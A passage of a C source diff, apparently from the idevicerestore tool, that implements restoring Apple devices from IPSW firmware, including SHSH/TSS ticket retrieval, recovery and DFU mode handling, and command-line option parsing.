+ "You are about to perform an *ERASE* restore. ALL DATA on the target device will be IRREVERSIBLY DESTROYED. If you want to update your device without erasing the user data, cancel now and restart without -e or --erase command line switch.\n"
+ );
+ if (pres < 0) {
+ client->flags |= FLAG_QUIT;
+ return -1;
+ }
+#if 0
+ char input[64];
+ printf("################################ [ WARNING ] #################################\n"
+ "# You are about to perform an *ERASE* restore. ALL DATA on the target device #\n"
+ "# will be IRREVERSIBLY DESTROYED. If you want to update your device without #\n"
+ "# erasing the user data, hit CTRL+C now and restart without -e or --erase #\n"
+ "# command line switch. #\n"
+ "# If you want to continue with the ERASE, please type YES and press ENTER. #\n"
+ "##############################################################################\n");
+ while (1) {
+ printf("> ");
+ fflush(stdout);
+ fflush(stdin);
+ input[0] = '\0';
+ get_user_input(input, 63, 0);
+ if (client->flags & FLAG_QUIT) {
+ return -1;
+ }
+ if (*input != '\0' && !strcmp(input, "YES")) {
+ break;
+ } else {
+ printf("Invalid input. Please type YES or hit CTRL+C to abort.\n");
+ continue;
+ }
+ }
+#endif
+ }
+
+ idevicerestore_progress(client, RESTORE_STEP_PREPARE, 0.0);
+
+ /* check if all components we need are actually there */
+ logger(LL_INFO, "Checking IPSW for required components...\n");
+ if (build_identity_check_components_in_ipsw(build_identity, client->ipsw) < 0) {
+ logger(LL_ERROR, "Could not find all required components in IPSW %s\n", client->ipsw->path);
+ return -1;
+ }
+ logger(LL_INFO, "All required components found in IPSW\n");
+
+ /* Get OS (filesystem) name from build identity */
+ char* os_path = NULL;
+ if (build_identity_get_component_path(build_identity, "OS", &os_path) < 0) {
+ logger(LL_ERROR, "Unable to get path for filesystem component\n");
+ return -1;
+ }
+
+ /* check if IPSW has OS component 'stored' in ZIP archive, otherwise we need to extract it */
+ int needs_os_extraction = 0;
+ if (client->ipsw->zip) {
+ ipsw_file_handle_t zfile = ipsw_file_open(client->ipsw, os_path);
+ if (zfile) {
+ if (!zfile->seekable) {
+ needs_os_extraction = 1;
+ }
+ ipsw_file_close(zfile);
+ }
+ }
+
+ if (needs_os_extraction && !(client->flags & FLAG_SHSHONLY)) {
+ char* tmpf = NULL;
+ struct stat st;
+ if (client->cache_dir) {
+ memset(&st, '\0', sizeof(struct stat));
+ if (stat(client->cache_dir, &st) < 0) {
+ mkdir_with_parents(client->cache_dir, 0755);
+ }
+ char* ipsw_basename = strdup(path_get_basename(client->ipsw->path));
+ char* p = strrchr(ipsw_basename, '.');
+ if (p && isalpha(*(p+1))) {
+ *p = '\0';
+ }
+ tmpf = string_build_path(client->cache_dir, ipsw_basename, NULL);
+ mkdir_with_parents(tmpf, 0755);
+ free(tmpf);
+ tmpf = string_build_path(client->cache_dir, ipsw_basename, os_path, NULL);
+ free(ipsw_basename);
+ } else {
+ tmpf = get_temp_filename(NULL);
+ client->delete_fs = 1;
+ }
+
+ /* check if we already have it extracted */
+ uint64_t fssize = 0;
+ ipsw_get_file_size(client->ipsw, os_path, &fssize);
+ memset(&st, '\0', sizeof(struct stat));
+ if (stat(tmpf, &st) == 0) {
+ if ((fssize > 0) && ((uint64_t)st.st_size == fssize)) {
+ logger(LL_INFO, "Using cached filesystem from '%s'\n", tmpf);
+ client->filesystem = tmpf;
+ }
+ }
+
+ if (!client->filesystem) {
+ logger(LL_INFO, "Extracting filesystem from IPSW: %s\n", os_path);
+ if (ipsw_extract_to_file_with_progress(client->ipsw, os_path, tmpf, 1) < 0) {
+ logger(LL_ERROR, "Unable to extract filesystem from IPSW\n");
+ logger(LL_INFO, "Removing %s\n", tmpf);
+ unlink(tmpf);
+ free(tmpf);
+ return -1;
+ }
+ client->filesystem = tmpf;
+ }
+ }
+
+ idevicerestore_progress(client, RESTORE_STEP_PREPARE, 0.2);
+
+ /* retrieve shsh blobs if required */
+ if (tss_enabled) {
+ int stashbag_commit_required = 0;
+
+ if (client->mode == MODE_NORMAL && !(client->flags & FLAG_ERASE) && !(client->flags & FLAG_SHSHONLY)) {
+ plist_t node = normal_get_lockdown_value(client, NULL, "HasSiDP");
+ uint8_t needs_preboard = 0;
+ if (node && plist_get_node_type(node) == PLIST_BOOLEAN) {
+ plist_get_bool_val(node, &needs_preboard);
+ }
+ if (needs_preboard) {
+ logger(LL_INFO, "Checking if device requires stashbag...\n");
+ plist_t manifest;
+ if (get_preboard_manifest(client, build_identity, &manifest) < 0) {
+ logger(LL_ERROR, "Unable to create preboard manifest.\n");
+ return -1;
+ }
+ logger(LL_DEBUG, "creating stashbag...\n");
+ int err = normal_handle_create_stashbag(client, manifest);
+ if (err < 0) {
+ if (err == -2) {
+ logger(LL_ERROR, "Could not create stashbag (timeout).\n");
+ } else {
+ logger(LL_ERROR, "An error occurred while creating the stashbag.\n");
+ }
+ return -1;
+ } else if (err == 1) {
+ stashbag_commit_required = 1;
+ }
+ plist_free(manifest);
+ }
+ }
+
+ if (client->build_major > 8) {
+ unsigned char* nonce = NULL;
+ unsigned int nonce_size = 0;
+ if (get_ap_nonce(client, &nonce, &nonce_size) < 0) {
+ /* the first nonce request with older firmware releases can fail and it's OK */
+ logger(LL_NOTICE, "Unable to get nonce from device\n");
+ }
+
+ if (!client->nonce || (nonce_size != client->nonce_size) || (memcmp(nonce, client->nonce, nonce_size) != 0)) {
+ if (client->nonce) {
+ free(client->nonce);
+ }
+ client->nonce = nonce;
+ client->nonce_size = nonce_size;
+ } else {
+ free(nonce);
+ }
+ if (client->mode == MODE_NORMAL) {
+ plist_t ap_params = normal_get_lockdown_value(client, NULL, "ApParameters");
+ if (ap_params) {
+ if (!client->parameters) {
+ client->parameters = plist_new_dict();
+ }
+ plist_dict_merge(&client->parameters, ap_params);
+ plist_t p_sep_nonce = plist_dict_get_item(ap_params, "SepNonce");
+ uint64_t sep_nonce_size = 0;
+ const char* sep_nonce = plist_get_data_ptr(p_sep_nonce, &sep_nonce_size);
+ if (sep_nonce) {
+ logger(LL_INFO, "Getting SepNonce in normal mode... ");
+ logger_dump_hex(LL_INFO, sep_nonce, sep_nonce_size);
+ }
+ plist_free(ap_params);
+ }
+ plist_t req_nonce_slot = plist_access_path(build_identity, 2, "Info", "RequiresNonceSlot");
+ if (req_nonce_slot) {
+ plist_dict_set_item(client->parameters, "RequiresNonceSlot", plist_copy(req_nonce_slot));
+ }
+ }
+ }
+
+ if (client->flags & FLAG_QUIT) {
+ return -1;
+ }
+
+ if (client->mode == MODE_RESTORE && client->root_ticket) {
+ plist_t ap_ticket = plist_new_data((char*)client->root_ticket, client->root_ticket_len);
+ if (!ap_ticket) {
+ logger(LL_ERROR, "Failed to create ApImg4Ticket node value.\n");
+ return -1;
+ }
+ client->tss = plist_new_dict();
+ if (!client->tss) {
+ logger(LL_ERROR, "Failed to create ApImg4Ticket node.\n");
+ return -1;
+ }
+ plist_dict_set_item(client->tss, "ApImg4Ticket", ap_ticket);
+ } else {
+ if (get_tss_response(client, build_identity, &client->tss) < 0) {
+ logger(LL_ERROR, "Unable to get SHSH blobs for this device\n");
+ return -1;
+ }
+ if (client->macos_variant) {
+ if (get_local_policy_tss_response(client, build_identity, &client->tss_localpolicy) < 0) {
+ logger(LL_ERROR, "Unable to get SHSH blobs for this device (local policy)\n");
+ return -1;
+ }
+ if (get_recoveryos_root_ticket_tss_response(client, build_identity, &client->tss_recoveryos_root_ticket) < 0) {
+ logger(LL_ERROR, "Unable to get SHSH blobs for this device (recovery OS Root Ticket)\n");
+ return -1;
+ }
+ } else {
+ plist_t recovery_variant = plist_access_path(build_identity, 2, "Info", "RecoveryVariant");
+ if (recovery_variant) {
+ const char* recovery_variant_str = plist_get_string_ptr(recovery_variant, NULL);
+ client->recovery_variant = build_manifest_get_build_identity_for_model_with_variant(client->build_manifest, client->device->hardware_model, recovery_variant_str, 1);
+ if (!client->recovery_variant) {
+ logger(LL_ERROR, "Variant '%s' not found in BuildManifest\n", recovery_variant_str);
+ return -1;
+ }
+ if (get_tss_response(client, client->recovery_variant, &client->tss_recoveryos_root_ticket) < 0) {
+ logger(LL_ERROR, "Unable to get SHSH blobs for this device (%s)\n", recovery_variant_str);
+ return -1;
+ }
+ }
+ }
+ }
+
+ if (stashbag_commit_required) {
+ plist_t ticket = plist_dict_get_item(client->tss, "ApImg4Ticket");
+ if (!ticket || plist_get_node_type(ticket) != PLIST_DATA) {
+ logger(LL_ERROR, "Missing ApImg4Ticket in TSS response for stashbag commit\n");
+ return -1;
+ }
+ logger(LL_INFO, "Committing stashbag...\n");
+ int err = normal_handle_commit_stashbag(client, ticket);
+ if (err < 0) {
+ logger(LL_ERROR, "Could not commit stashbag (%d). Aborting.\n", err);
+ return -1;
+ }
+ }
+ }
+
+ if (client->flags & FLAG_QUIT) {
+ return -1;
+ }
+ if (client->flags & FLAG_SHSHONLY) {
+ if (!tss_enabled) {
+ logger(LL_INFO, "This device does not require a TSS record\n");
+ return 0;
+ }
+ if (!client->tss) {
+ logger(LL_ERROR, "could not fetch TSS record\n");
+ return -1;
+ } else {
+ char *bin = NULL;
+ uint32_t blen = 0;
+ plist_to_bin(client->tss, &bin, &blen);
+ if (bin) {
+ char zfn[1024];
+ if (client->cache_dir) {
+ strcpy(zfn, client->cache_dir);
+ strcat(zfn, "/shsh");
+ } else {
+ strcpy(zfn, "shsh");
+ }
+ mkdir_with_parents(zfn, 0755);
+ snprintf(&zfn[0]+strlen(zfn), sizeof(zfn)-strlen(zfn), "/%" PRIu64 "-%s-%s.shsh", client->ecid, client->device->product_type, client->version);
+ struct stat fst;
+ if (stat(zfn, &fst) != 0) {
+ gzFile zf = gzopen(zfn, "wb");
+ gzwrite(zf, bin, blen);
+ gzclose(zf);
+ logger(LL_INFO, "SHSH saved to '%s'\n", zfn);
+ } else {
+ logger(LL_INFO, "SHSH '%s' already present.\n", zfn);
+ }
+ free(bin);
+ } else {
+ logger(LL_ERROR, "could not get TSS record data\n");
+ }
+ plist_free(client->tss);
+ return 0;
+ }
+ }
+
+ /* verify if we have tss records if required */
+ if ((tss_enabled) && (client->tss == NULL)) {
+ logger(LL_ERROR, "Unable to proceed without a TSS record.\n");
+ return -1;
+ }
+
+ if ((tss_enabled) && client->tss) {
+ /* fix empty dicts */
+ fixup_tss(client->tss);
+ }
+ idevicerestore_progress(client, RESTORE_STEP_PREPARE, 0.25);
+ if (client->flags & FLAG_QUIT) {
+ return -1;
+ }
+
+ // if the device is in normal mode, place device into recovery mode
+ if (client->mode == MODE_NORMAL) {
+ logger(LL_INFO, "Entering recovery mode...\n");
+ if (normal_enter_recovery(client) < 0) {
+ logger(LL_ERROR, "Unable to place device into recovery mode from normal mode\n");
+ if (client->tss)
+ plist_free(client->tss);
+ return -5;
+ }
+ }
+
+ idevicerestore_progress(client, RESTORE_STEP_PREPARE, 0.3);
+ if (client->flags & FLAG_QUIT) {
+ return -1;
+ }
+
+ if (client->mode == MODE_DFU) {
+ // if the device is in DFU mode, place it into recovery mode
+ dfu_client_free(client);
+ recovery_client_free(client);
+#ifdef HAVE_LIMERA1N
+ if ((client->flags & FLAG_CUSTOM) && limera1n_is_supported(client->device)) {
+ logger(LL_INFO, "connecting to DFU\n");
+ if (dfu_client_new(client) < 0) {
+ return -1;
+ }
+ logger(LL_INFO, "exploiting with limera1n\n");
+ if (limera1n_exploit(client->device, &client->dfu->client) != 0) {
+ logger(LL_ERROR, "limera1n exploit failed\n");
+ dfu_client_free(client);
+ return -1;
+ }
+ dfu_client_free(client);
+ logger(LL_INFO, "exploited\n");
+ }
+#endif
+ if (dfu_enter_recovery(client, build_identity) < 0) {
+ logger(LL_ERROR, "Unable to place device into recovery mode from DFU mode\n");
+ if (client->tss)
+ plist_free(client->tss);
+ return -2;
+ }
+ } else if (client->mode == MODE_RECOVERY) {
+ // device is in recovery mode
+ if ((client->build_major > 8) && !(client->flags & FLAG_CUSTOM)) {
+ if (!client->image4supported) {
+ /* send ApTicket */
+ if (recovery_send_ticket(client) < 0) {
+ logger(LL_ERROR, "Unable to send APTicket\n");
+ return -2;
+ }
+ }
+ }
+
+ mutex_lock(&client->device_event_mutex);
+
+ /* now we load the iBEC */
+ if (recovery_send_ibec(client, build_identity) < 0) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Unable to send iBEC\n");
+ return -2;
+ }
+ recovery_client_free(client);
+
+ logger(LL_DEBUG, "Waiting for device to disconnect...\n");
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 60000);
+ if (client->mode != MODE_UNKNOWN || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+
+ if (!(client->flags & FLAG_QUIT)) {
+ logger(LL_ERROR, "Device did not disconnect. Possibly invalid iBEC. Reset device and try again.\n");
+ }
+ return -2;
+ }
+ recovery_client_free(client);
+ logger(LL_DEBUG, "Waiting for device to reconnect in recovery mode...\n");
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 60000);
+ if (client->mode != MODE_RECOVERY || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+ if (!(client->flags & FLAG_QUIT)) {
+ logger(LL_ERROR, "Device did not reconnect in recovery mode. Possibly invalid iBEC. Reset device and try again.\n");
+ }
+ return -2;
+ }
+ mutex_unlock(&client->device_event_mutex);
+ }
+ idevicerestore_progress(client, RESTORE_STEP_PREPARE, 0.5);
+ if (client->flags & FLAG_QUIT) {
+ return -1;
+ }
+
+ if (!client->image4supported && (client->build_major > 8)) {
+ // we need another tss request with nonce.
+ unsigned char* nonce = NULL;
+ unsigned int nonce_size = 0;
+ int nonce_changed = 0;
+ if (get_ap_nonce(client, &nonce, &nonce_size) < 0) {
+ logger(LL_ERROR, "Unable to get nonce from device!\n");
+ recovery_send_reset(client);
+ return -2;
+ }
+
+ if (!client->nonce || (nonce_size != client->nonce_size) || (memcmp(nonce, client->nonce, nonce_size) != 0)) {
+ nonce_changed = 1;
+ if (client->nonce) {
+ free(client->nonce);
+ }
+ client->nonce = nonce;
+ client->nonce_size = nonce_size;
+ } else {
+ free(nonce);
+ }
+
+ if (nonce_changed && !(client->flags & FLAG_CUSTOM)) {
+ // Welcome iOS5. We have to re-request the TSS with our nonce.
+ plist_free(client->tss);
+ if (get_tss_response(client, build_identity, &client->tss) < 0) {
+ logger(LL_ERROR, "Unable to get SHSH blobs for this device\n");
+ return -1;
+ }
+ if (!client->tss) {
+ logger(LL_ERROR, "can't continue without TSS\n");
+ return -1;
+ }
+ fixup_tss(client->tss);
+ }
+ }
+ idevicerestore_progress(client, RESTORE_STEP_PREPARE, 0.7);
+ if (client->flags & FLAG_QUIT) {
+ return -1;
+ }
+
+ // now finally do the magic to put the device into restore mode
+ if (client->mode == MODE_RECOVERY) {
+ if (recovery_enter_restore(client, build_identity) < 0) {
+ logger(LL_ERROR, "Unable to place device into restore mode\n");
+ if (client->tss)
+ plist_free(client->tss);
+ return -2;
+ }
+ recovery_client_free(client);
+ }
+ idevicerestore_progress(client, RESTORE_STEP_PREPARE, 0.9);
+
+ if (client->mode != MODE_RESTORE) {
+ mutex_lock(&client->device_event_mutex);
+ logger(LL_INFO, "Waiting for device to enter restore mode...\n");
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 300000);
+ if (client->mode != MODE_RESTORE || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Device failed to enter restore mode.\n");
+ if (client->mode == MODE_UNKNOWN) {
+ logger(LL_ERROR, "Make sure that usbmuxd is running.\n");
+ } else if (client->mode == MODE_RECOVERY || client->mode == MODE_DFU) {
+ logger(LL_ERROR, "Device reconnected in %s mode, most likely image personalization failed.\n", client->mode->string);
+ }
+ return -1;
+ }
+ mutex_unlock(&client->device_event_mutex);
+ }
+
+ // device is finally in restore mode, let's do this
+ if (client->mode == MODE_RESTORE) {
+ if ((client->flags & FLAG_NO_RESTORE) != 0) {
+ logger(LL_INFO, "Device is now in restore mode. Exiting as requested.\n");
+ return 0;
+ }
+ client->ignore_device_add_events = 1;
+ logger(LL_INFO, "About to restore device... \n");
+ result = restore_device(client, build_identity);
+ if (result < 0) {
+ logger(LL_ERROR, "Unable to restore device\n");
+ return result;
+ }
+ }
+
+ /* special handling of older AppleTVs as they enter Recovery mode on boot when plugged in to USB */
+ if ((strncmp(client->device->product_type, "AppleTV", 7) == 0) && (client->device->product_type[7] < '5')) {
+ if (recovery_client_new(client) == 0) {
+ if (recovery_set_autoboot(client, 1) == 0) {
+ recovery_send_reset(client);
+ } else {
+ logger(LL_ERROR, "Setting auto-boot failed?!\n");
+ }
+ } else {
+ logger(LL_ERROR, "Could not connect to device in recovery mode.\n");
+ }
+ }
+
+ if (result == 0) {
+ logger(LL_INFO, "DONE\n");
+ idevicerestore_progress(client, RESTORE_NUM_STEPS-1, 1.0);
+ } else {
+ logger(LL_INFO, "RESTORE FAILED\n");
+ }
+
+ if (build_identity_needs_free)
+ plist_free(build_identity);
+
+ return result;
+}
+
+struct idevicerestore_client_t* idevicerestore_client_new(void)
+{
+ struct idevicerestore_client_t* client = (struct idevicerestore_client_t*) malloc(sizeof(struct idevicerestore_client_t));
+ if (client == NULL) {
+ logger(LL_ERROR, "Out of memory\n");
+ return NULL;
+ }
+ memset(client, '\0', sizeof(struct idevicerestore_client_t));
+ client->mode = MODE_UNKNOWN;
+ mutex_init(&client->device_event_mutex);
+ cond_init(&client->device_event_cond);
+ return client;
+}
+
+void idevicerestore_client_free(struct idevicerestore_client_t* client)
+{
+ if (!client) {
+ return;
+ }
+
+ if (client->irecv_e_ctx) {
+ irecv_device_event_unsubscribe(client->irecv_e_ctx);
+ }
+ if (client->idevice_e_ctx) {
+ idevice_event_unsubscribe();
+ }
+ cond_destroy(&client->device_event_cond);
+ mutex_destroy(&client->device_event_mutex);
+
+ if (client->tss_url) {
+ free(client->tss_url);
+ }
+ if (client->version_data) {
+ plist_free(client->version_data);
+ }
+ if (client->nonce) {
+ free(client->nonce);
+ }
+ if (client->udid) {
+ free(client->udid);
+ }
+ if (client->srnm) {
+ free(client->srnm);
+ }
+ if (client->ipsw) {
+ ipsw_close(client->ipsw);
+ }
+ if (client->filesystem) {
+ if (client->delete_fs) {
+ unlink(client->filesystem);
+ }
+ free(client->filesystem);
+ }
+ free(client->version);
+ free(client->build);
+ free(client->device_version);
+ free(client->device_build);
+ if (client->restore_boot_args) {
+ free(client->restore_boot_args);
+ }
+ if (client->cache_dir) {
+ free(client->cache_dir);
+ }
+ if (client->root_ticket) {
+ free(client->root_ticket);
+ }
+ if (client->build_manifest) {
+ plist_free(client->build_manifest);
+ }
+ if (client->firmware_preflight_info) {
+ plist_free(client->firmware_preflight_info);
+ }
+ if (client->preflight_info) {
+ plist_free(client->preflight_info);
+ }
+ free(client->restore_variant);
+ free(client);
+}
+
+void idevicerestore_set_ecid(struct idevicerestore_client_t* client, uint64_t ecid)
+{
+ if (!client)
+ return;
+ client->ecid = ecid;
+}
+
+void idevicerestore_set_udid(struct idevicerestore_client_t* client, const char* udid)
+{
+ if (!client)
+ return;
+ if (client->udid) {
+ free(client->udid);
+ client->udid = NULL;
+ }
+ if (udid) {
+ client->udid = strdup(udid);
+ }
+}
+
+void idevicerestore_set_flags(struct idevicerestore_client_t* client, int flags)
+{
+ if (!client)
+ return;
+ client->flags = flags;
+}
+
+void idevicerestore_set_ipsw(struct idevicerestore_client_t* client, const char* path)
+{
+ if (!client)
+ return;
+ if (client->ipsw) {
+ ipsw_close(client->ipsw);
+ client->ipsw = NULL;
+ }
+ if (path) {
+ client->ipsw = ipsw_open(path);
+ }
+}
+
+void idevicerestore_set_cache_path(struct idevicerestore_client_t* client, const char* path)
+{
+ if (!client)
+ return;
+ if (client->cache_dir) {
+ free(client->cache_dir);
+ client->cache_dir = NULL;
+ }
+ if (path) {
+ client->cache_dir = strdup(path);
+ }
+}
+
+void idevicerestore_set_progress_callback(struct idevicerestore_client_t* client, idevicerestore_progress_cb_t cbfunc, void* userdata)
+{
+ if (!client)
+ return;
+ client->progress_cb = cbfunc;
+ client->progress_cb_data = userdata;
+}
+
+#ifndef IDEVICERESTORE_NOMAIN
+static struct idevicerestore_client_t* idevicerestore_client = NULL;
+
+static void handle_signal(int sig)
+{
+ if (idevicerestore_client) {
+ idevicerestore_client->flags |= FLAG_QUIT;
+ global_quit_flag++;
+ ipsw_cancel();
+ }
+}
+
+void plain_progress_cb(int step, double step_progress, void* userdata)
+{
+ printf("progress: %u %f\n", step, step_progress);
+ fflush(stdout);
+}
+
+static void plain_progress_func(struct progress_info_entry** progress_info, int count)
+{
+ int i = 0;
+ for (i = 0; i < count; i++) {
+ if (!progress_info[i]) continue;
+ printf("%s: %5.1f\n", progress_info[i]->label, progress_info[i]->progress);
+ fflush(stdout);
+ }
+}
+
+static void tty_print(enum loglevel level, const char* fmt, va_list ap)
+{
+ switch (level) {
+ case 0:
+ cprintf(FG_RED STYLE_BRIGHT);
+ break;
+ case 1:
+ cprintf(FG_YELLOW STYLE_BRIGHT);
+ break;
+ case 2:
+ cprintf(STYLE_BRIGHT);
+ break;
+ default:
+ break;
+ }
+
+ cvfprintf(stdout, fmt, ap);
+
+ cprintf(COLOR_RESET);
+}
+
+int main(int argc, char* argv[])
+{
+ int opt = 0;
+ int optindex = 0;
+ char* ipsw = NULL;
+ int ipsw_info = 0;
+ int result = 0;
+ const char* logfile = NULL;
+#ifdef __APPLE__
+ int exclusive_usb_access = 0;
+#endif
+
+ logger_set_print_func(tty_print);
+
+ struct idevicerestore_client_t* client = idevicerestore_client_new();
+ if (client == NULL) {
+ logger(LL_ERROR, "Could not create idevicerestore client\n");
+ return EXIT_FAILURE;
+ }
+
+ idevicerestore_client = client;
+
+#ifdef WIN32
+ signal(SIGINT, handle_signal);
+ signal(SIGTERM, handle_signal);
+ signal(SIGABRT, handle_signal);
+#else
+ struct sigaction sa;
+ memset(&sa, 0, sizeof(struct sigaction));
+ sa.sa_handler = handle_signal;
+ sigaction(SIGINT, &sa, NULL);
+ sigaction(SIGTERM, &sa, NULL);
+ sigaction(SIGQUIT, &sa, NULL);
+ sa.sa_handler = SIG_IGN;
+ sigaction(SIGPIPE, &sa, NULL);
+#endif
+
+ if (!isatty(fileno(stdin)) || !isatty(fileno(stdout))) {
+ client->flags &= ~FLAG_INTERACTIVE;
+ } else {
+ client->flags |= FLAG_INTERACTIVE;
+ }
+
+#ifdef HAVE_LIMERA1N
+#define P_FLAG "p"
+#else
+#define P_FLAG ""
+#endif
+
+ while ((opt = getopt_long(argc, argv, "dhces:xtli:u:nC:kyPRT:zv" P_FLAG, longopts, &optindex)) > 0) {
+ switch (opt) {
+ case 'h':
+ usage(argc, argv, 0);
+ return EXIT_SUCCESS;
+
+ case 'd':
+ client->flags |= FLAG_DEBUG;
+ client->debug_level++;
+ if (client->debug_level > 0) {
+ log_level = LL_DEBUG;
+ }
+ break;
+
+ case 'e':
+ client->flags |= FLAG_ERASE;
+ break;
+
+ case 'c':
+ client->flags |= FLAG_CUSTOM;
+ break;
+
+ case 's': {
+ if (!*optarg) {
+ logger(LL_ERROR, "URL argument for --server must not be empty!\n");
+ usage(argc, argv, 1);
+ return EXIT_FAILURE;
+ }
+ char *baseurl = NULL;
+ if (!strncmp(optarg, "http://", 7) && (strlen(optarg) > 7) && (optarg[7] != '/')) {
+ baseurl = optarg+7;
+ } else if (!strncmp(optarg, "https://", 8) && (strlen(optarg) > 8) && (optarg[8] != '/')) {
+ baseurl = optarg+8;
+ }
+ if (baseurl) {
+ char *p = strchr(baseurl, '/');
+ if (!p || *(p+1) == '\0') {
+ // no path component, add default path
+ const char default_path[] = "/TSS/controller?action=2";
+ size_t usize = strlen(optarg)+sizeof(default_path);
+ char* newurl = malloc(usize);
+ snprintf(newurl, usize, "%s%s", optarg, (p) ? default_path+1 : default_path);
+ client->tss_url = newurl;
+ } else {
+ client->tss_url = strdup(optarg);
+ }
+ } else {
+ logger(LL_ERROR, "URL argument for --server is invalid, must start with http:// or https://\n");
+ usage(argc, argv, 1);
+ return EXIT_FAILURE;
+ }
+ }
+ break;
+
+ case 'x':
+ client->flags |= FLAG_EXCLUDE;
+ break;
+
+ case 'l':
+ client->flags |= FLAG_LATEST;
+ break;
+
+ case 'i':
+ if (optarg) {
+ char* tail = NULL;
+ client->ecid = strtoull(optarg, &tail, 0);
+ if (tail && (tail[0] != '\0')) {
+ client->ecid = 0;
+ }
+ if (client->ecid == 0) {
+ logger(LL_ERROR, "Could not parse ECID from '%s'\n", optarg);
+ return EXIT_FAILURE;
+ }
+ }
+ break;
+
+ case 'u':
+ if (!*optarg) {
+ logger(LL_ERROR, "UDID must not be empty!\n");
+ usage(argc, argv, 1);
+ return EXIT_FAILURE;
+ }
+ client->udid = strdup(optarg);
+ break;
+
+ case 't':
+ client->flags |= FLAG_SHSHONLY;
+ break;
+
+ case 'k':
+ client->flags |= FLAG_KEEP_PERS;
+ break;
+
+#ifdef HAVE_LIMERA1N
+ case 'p':
+ client->flags |= FLAG_PWN;
+ break;
+#endif
+
+ case 'n':
+ client->flags |= FLAG_NOACTION;
+ break;
+
+ case 'C':
+ client->cache_dir = strdup(optarg);
+ break;
+
+ case 'y':
+ client->flags &= ~FLAG_INTERACTIVE;
+ break;
+
+ case 'P':
+ idevicerestore_set_progress_callback(client, plain_progress_cb, NULL);
+ set_update_progress_func(plain_progress_func);
+ set_progress_granularity(0.01); // 1% granularity
+ break;
+
+ case 'R':
+ client->flags |= FLAG_ALLOW_RESTORE_MODE;
+ break;
+
+ case 'z':
+ client->flags |= FLAG_NO_RESTORE;
+ break;
+
+ case 'v':
+ printf("%s %s (libirecovery %s, libtatsu %s)\n", PACKAGE_NAME, PACKAGE_VERSION, irecv_version(), libtatsu_version());
+ return EXIT_SUCCESS;
+
+ case 'T': {
+ size_t root_ticket_len = 0;
+ unsigned char* root_ticket = NULL;
+ if (read_file(optarg, (void**)&root_ticket, &root_ticket_len) != 0) {
+ return EXIT_FAILURE;
+ }
+ client->root_ticket = root_ticket;
+ client->root_ticket_len = (int)root_ticket_len;
+ logger(LL_INFO, "Using ApTicket found at %s length %u\n", optarg, client->root_ticket_len);
+ break;
+ }
+
+ case 'I':
+ ipsw_info = 1;
+ break;
+
+ case 1:
+ client->flags |= FLAG_IGNORE_ERRORS;
+ break;
+
+ case 2:
+ free(client->restore_variant);
+ client->restore_variant = strdup(optarg);
+ break;
+
+ case 3:
+ if (!*optarg) {
+ logger(LL_ERROR, "logfile must not be empty!\n");
+ usage(argc, argv, 1);
+ return EXIT_FAILURE;
+ }
+ logfile = optarg;
+ break;
+
+#ifdef __APPLE__
+ case 4:
+ exclusive_usb_access = 1;
+ break;
+#endif
+
+ default:
+ usage(argc, argv, 1);
+ return EXIT_FAILURE;
+ }
+ }
+
+ if (ipsw_info) {
+ if (argc-optind != 1) {
+ logger(LL_ERROR, "--ipsw-info requires an IPSW path.\n");
+ usage(argc, argv, 1);
+ return EXIT_FAILURE;
+ }
+ return (ipsw_print_info(*(argv + optind)) == 0) ? EXIT_SUCCESS : EXIT_FAILURE;
+ }
+
+ if (((argc-optind) == 1) || (client->flags & FLAG_PWN) || (client->flags & FLAG_LATEST)) {
+ argc -= optind;
+ argv += optind;
+
+ ipsw = argv[0];
+ } else {
+ usage(argc, argv, 1);
+ return EXIT_FAILURE;
+ }
+
+ if ((client->flags & FLAG_LATEST) && (client->flags & FLAG_CUSTOM)) {
+ logger(LL_ERROR, "You can't use --custom and --latest options at the same time.\n");
+ return EXIT_FAILURE;
+ }
+
+ if (!logfile) {
+ char logfn[256];
+ int64_t timestamp = time(NULL);
+ if (client->ecid) {
+ snprintf(logfn, sizeof(logfn), "restore_%016" PRIx64 "_%" PRIi64 ".log", client->ecid, timestamp);
+ } else if (client->udid) {
+ snprintf(logfn, sizeof(logfn), "restore_%s_%" PRIi64 ".log", client->udid, timestamp);
+ } else {
+ snprintf(logfn, sizeof(logfn), "restore_%" PRIi64 ".log", timestamp);
+ }
+ logger_set_logfile(logfn);
+ } else {
+ logger_set_logfile(logfile);
+ }
+
+ logger(LL_INFO, "%s %s (libirecovery %s, libtatsu %s)\n", PACKAGE_NAME, PACKAGE_VERSION, irecv_version(), libtatsu_version());
+
+ if (ipsw) {
+ // verify if ipsw file exists
+ client->ipsw = ipsw_open(ipsw);
+ if (!client->ipsw) {
+ logger(LL_ERROR, "Firmware file %s cannot be opened.\n", ipsw);
+ return -1;
+ }
+ }
+
+ curl_global_init(CURL_GLOBAL_ALL);
+
+#ifdef __APPLE__
+ if (exclusive_usb_access && deviceinterfaced_control_start() < 0) {
+ idevicerestore_client_free(client);
+ curl_global_cleanup();
+ return EXIT_FAILURE;
+ }
+#endif
+
+ client->flags |= FLAG_IN_PROGRESS;
+ result = idevicerestore_start(client);
+ client->flags &= ~FLAG_IN_PROGRESS;
+
+ idevicerestore_client_free(client);
+
+#ifdef __APPLE__
+ if (exclusive_usb_access) {
+ deviceinterfaced_control_stop();
+ }
+#endif
+
+ curl_global_cleanup();
+
+ return (result == 0) ? EXIT_SUCCESS : EXIT_FAILURE;
+}
+#endif
+
+irecv_device_t get_irecv_device(struct idevicerestore_client_t *client)
+{
+ int mode = _MODE_UNKNOWN;
+
+ if (client->mode) {
+ mode = client->mode->index;
+ }
+
+ switch (mode) {
+ case _MODE_RESTORE:
+ return restore_get_irecv_device(client);
+
+ case _MODE_NORMAL:
+ return normal_get_irecv_device(client);
+
+ case _MODE_DFU:
+ case _MODE_PORTDFU:
+ case _MODE_RECOVERY:
+ return dfu_get_irecv_device(client);
+
+ default:
+ return NULL;
+ }
+}
+
+int is_image4_supported(struct idevicerestore_client_t* client)
+{
+ int res = 0;
+ int mode = _MODE_UNKNOWN;
+
+ if (client->mode) {
+ mode = client->mode->index;
+ }
+
+ switch (mode) {
+ case _MODE_NORMAL:
